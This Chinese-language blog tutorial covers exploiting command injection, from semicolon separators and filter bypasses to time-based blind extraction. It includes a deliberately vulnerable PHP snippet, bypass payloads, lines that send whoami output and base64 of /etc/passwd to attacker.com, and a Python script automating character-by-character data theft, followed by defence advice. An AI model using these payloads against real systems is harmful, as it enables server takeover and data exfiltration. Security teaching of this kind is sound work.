命令注入漏洞实战:从分号绕过到盲注时间延迟利用

命令注入(Command Injection)是 Web 安全领域中危害极高的一类漏洞。当应用程序将用户输入未经过滤地拼接到系统命令中执行时,攻击者便可能借此在服务器上执行任意命令,从而完全控制目标系统。本文将从基础的分号绕过讲起,逐步深入到盲注场景下的时间延迟利用,结合实战思路与 Payload 构造,帮助读者系统掌握命令注入的利用技巧。

一、命令注入的基本原理

命令注入通常发生在应用程序调用系统命令的场景中,例如 PHP 的 system()exec()shell_exec(),Python 的 os.system()subprocess,以及 Java 的 Runtime.exec() 等。当用户输入被直接拼接到命令字符串中,且未做充分过滤时,攻击者就可以通过命令分隔符注入额外的命令。

一个典型的脆弱代码如下:

<?php
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
?>

正常情况下,用户传入 127.0.0.1,服务器执行 ping -c 4 127.0.0.1。但如果攻击者传入 127.0.0.1; whoami,实际执行的命令就变成了:

ping -c 4 127.0.0.1; whoami

分号 ; 使得 whoami 作为独立命令被执行,攻击者因此获得了命令执行的能力。

二、常见命令分隔符与绕过技巧

1. 命令分隔符

在 Linux Shell 中,常用的命令分隔符包括:

  • ;:顺序执行,无论前一条命令是否成功
  • |:管道,将前一条命令的输出作为后一条命令的输入
  • ||:逻辑或,前一条命令失败时执行后一条
  • &&:逻辑与,前一条命令成功时执行后一条
  • &:后台执行
  • %0a(换行符):在某些环境下也可作为命令分隔符

例如:

127.0.0.1 | whoami
127.0.0.1 || whoami
127.0.0.1 && whoami
127.0.0.1 %0a whoami

2. 空格绕过

当空格被过滤时,可以使用以下替代方式:

  • ${IFS}:Shell 内部字段分隔符,默认包含空格、制表符和换行符
  • $IFS$9$9 是当前脚本的第 9 个参数,通常为空,可用来截断
  • < 重定向:如 cat<flag.txt
  • {cat,flag.txt}:花括号扩展

示例:

127.0.0.1;cat${IFS}/etc/passwd
127.0.0.1;cat$IFS$9/etc/passwd

3. 关键字绕过

catwhoami 等命令被黑名单过滤时,可以尝试:

  • 使用变量拼接:a=ca;b=t;$a$b /etc/passwd
  • 使用通配符:/bin/ca* /etc/passwd
  • 使用编码:echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
  • 使用反斜杠:c\at /etc/passwd
  • 使用 $@$*ca$@t /etc/passwd

4. 无回显场景的初步判断

当命令执行后没有回显时,可以通过以下方式判断漏洞是否存在:

  • 使用 sleep 命令观察响应时间
  • 使用 curlwget 向外发起请求,通过 DNSLog 或 HTTP 日志平台验证
  • 将命令结果写入 Web 目录后访问

例如:

127.0.0.1; sleep 5
127.0.0.1; curl http://your-dnslog-domain.com/`whoami`
127.0.0.1; ping -c 2 `whoami`.your-dnslog-domain.com

三、盲注场景下的时间延迟利用

在实际渗透测试中,很多命令注入漏洞属于“盲注”——即命令执行的结果不会直接返回给前端。此时,时间延迟(Time-based)技术就成为最可靠的验证与利用手段。

1. 基本原理

时间盲注的核心思想是:通过构造条件判断,让命令在条件成立时产生明显的延迟,从而根据响应时间推断信息。常用的延迟命令有:

  • sleep 5
  • ping -c 5 127.0.0.1
  • timeout 5 ...

2. 判断漏洞是否存在

假设目标参数为 ip,我们传入:

127.0.0.1; sleep 5

如果服务器响应时间明显增加约 5 秒,则说明命令注入存在。若分号被过滤,可尝试:

127.0.0.1 | sleep 5
127.0.0.1 || sleep 5
127.0.0.1 && sleep 5
127.0.0.1 `sleep 5`
127.0.0.1 $(sleep 5)

3. 逐字符提取数据

在确认漏洞存在后,可以利用条件判断逐字符提取敏感信息。例如,我们想获取当前数据库用户名的第一个字符,可以构造:

127.0.0.1; if [ $(whoami | cut -c 1) = "r" ]; then sleep 5; fi

如果响应延迟 5 秒,说明第一个字符是 r;否则不是。通过遍历字符集,即可逐位还原出完整信息。

更高效的写法是使用 substrcase

127.0.0.1; case $(whoami | cut -c 1) in r) sleep 5;; esac

或者利用 grep 进行匹配:

127.0.0.1; whoami | grep -q "^r" && sleep 5

4. 结合 DNSLog 与外带通道

时间盲注虽然可靠,但效率较低。如果目标服务器可以出网,可以结合 DNSLog 实现外带数据:

127.0.0.1; curl http://`whoami`.attacker.com
127.0.0.1; ping -c 1 `cat /etc/passwd | base64 | head -c 20`.attacker.com

通过 DNS 查询日志,攻击者可以快速获取命令执行结果,尤其适用于无回显且时间盲注效率低下的场景。

5. 自动化利用思路

手工逐字符盲注耗时较长,可以编写脚本自动化。基本流程如下:

  1. 确定注入点与可用的分隔符
  2. 确定延迟命令与延迟时间
  3. 确定要提取的数据(如 /etc/passwd、环境变量、数据库配置等)
  4. 逐字符遍历 ASCII 码表,根据响应时间判断字符值
  5. 拼接结果,完成数据提取

一个简单的 Python 伪代码示例:

import requests
import time

url = "http://target.com/ping.php"
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
result = ""

for i in range(1, 20):
    for c in chars:
        payload = f"127.0.0.1; if [ $(whoami | cut -c {i}) = '{c}' ]; then sleep 3; fi"
        start = time.time()
        requests.get(url, params={"ip": payload})
        elapsed = time.time() - start
        if elapsed > 3:
            result += c
            break
    else:
        break

print(result)

四、防御建议

命令注入的危害极大,开发人员应从以下方面进行防御:

  • 避免直接拼接用户输入到系统命令中,优先使用语言内置的 API 替代系统命令调用
  • 使用参数化调用,如 PHP 的 escapeshellarg()escapeshellcmd(),Python 的 subprocess 列表参数形式
  • 严格白名单校验,对用户输入进行格式限制,如 IP 地址只允许数字和点
  • 最小权限原则,Web 服务运行账户应限制权限,避免攻击者直接获取敏感文件
  • 部署 WAF 与 RASP,对常见命令注入特征进行拦截与运行时防护

五、总结

命令注入漏洞从简单的分号拼接,到空格、关键字绕过,再到盲注场景下的时间延迟与外带通道利用,攻击手法层层递进。理解这些技术不仅有助于渗透测试人员发现和利用漏洞,更能帮助开发人员认识到输入过滤的重要性。在实际测试中,应始终在合法授权范围内进行,并遵循“最小影响”原则,避免对目标系统造成破坏。安全防御的核心在于:永远不要信任用户输入,永远不要将用户输入直接交给系统 Shell。

未经允许不得转载:任鹏个人博客 » 命令注入漏洞实战:从分号绕过到盲注时间延迟利用

赞 (0) 打赏

评论 0

取消
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏